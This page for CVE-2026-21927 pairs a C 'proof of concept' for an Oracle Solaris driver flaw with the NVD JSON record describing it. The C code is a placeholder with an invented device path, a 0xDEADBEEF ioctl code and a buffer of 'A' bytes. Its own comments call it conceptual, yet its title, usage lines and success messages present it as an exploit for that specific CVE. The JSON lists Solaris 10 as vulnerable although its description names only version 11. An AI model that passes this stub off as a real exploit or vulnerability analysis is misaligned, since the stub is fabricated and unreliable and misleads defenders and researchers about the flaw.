CVE-2026-21927

// CVE-2026-21927 PoC - Oracle Solaris Driver Vulnerability // Note: This is a conceptual PoC for demonstration purposes // Actual exploitation requires local access and high privileges #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> // Oracle Solaris driver interface #define SOLARIS_DRIVER_PATH "/dev/driver/vulnerable_device" #define EXPLOIT_BUFFER_SIZE 1024 int main(int argc, char *argv[]) { int fd; char exploit_buffer[EXPLOIT_BUFFER_SIZE]; printf("[*] CVE-2026-21927 PoC - Oracle Solaris Driver Vulnerability\n"); printf("[*] Target: Oracle Solaris 11\n"); printf("[*] Component: Driver\n"); // Check if we have required privileges if (geteuid() == 0) { printf("[+] Running with elevated privileges\n"); } else { printf("[-] This exploit requires root privileges\n"); printf("[-] Please run as root or with sudo\n"); } // Open the vulnerable driver device fd = open(SOLARIS_DRIVER_PATH, O_RDWR); if (fd < 0) { printf("[-] Failed to open driver device\n"); printf("[*] Note: This is a conceptual demonstration\n"); return 1; } // Prepare exploit payload memset(exploit_buffer, 0x41, EXPLOIT_BUFFER_SIZE); // Trigger the vulnerability via ioctl printf("[*] Sending exploit payload to driver...\n"); if (ioctl(fd, 0xDEADBEEF, exploit_buffer) < 0) { printf("[-] Exploit failed\n"); close(fd); return 1; } printf("[+] Exploit sent successfully\n"); printf("[*] Check for privilege escalation or data modification\n"); close(fd); return 0; } // Usage: gcc -o cve_2026_21927_poc cve_2026_21927_poc.c // sudo ./cve_2026_21927_poc

{"cve": {"id": "CVE-2026-21927", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:55.180", "lastModified": "2026-01-29T21:16:32.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle Solaris product of Oracle Systems (component: Driver). The supported version that is affected is 11. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Solaris accessible data as well as unauthorized access to critical data or complete access to all Oracle Solaris accessible data. CVSS 3.1 Base Score 5.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Oracle Solaris de Oracle Systems (componente: Driver). La versión soportada que está afectada es la 11. Vulnerabilidad fácilmente explotable permite a un atacante con altos privilegios con inicio de sesión en la infraestructura donde se ejecuta Oracle Solaris comprometer Oracle Solaris. Los ataques exitosos requieren interacción humana de una persona distinta al atacante. Los ataques exitosos de esta vulnerabilidad pueden resultar en acceso no autorizado de creación, eliminación o modificación a datos críticos o a todos los datos accesibles de Oracle Solaris, así como acceso no autorizado a datos críticos o acceso completo a todos los datos accesibles de Oracle Solaris. Puntuación Base CVSS 3.1 de 5.8 (impactos en la Confidencialidad e Integridad). Vector CVSS: (CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:oracle:solaris:10:*:*:*:*:*:*:*", "matchCriteriaId": "964B57CD-CB8A-4520-B358-1C93EC5EF2DC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:oracle:solaris:11:*:*:*:*:*:*:*", "matchCriteriaId": "8E8C192B-8044-4BF9-9F1F-57371FC0E8FD"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}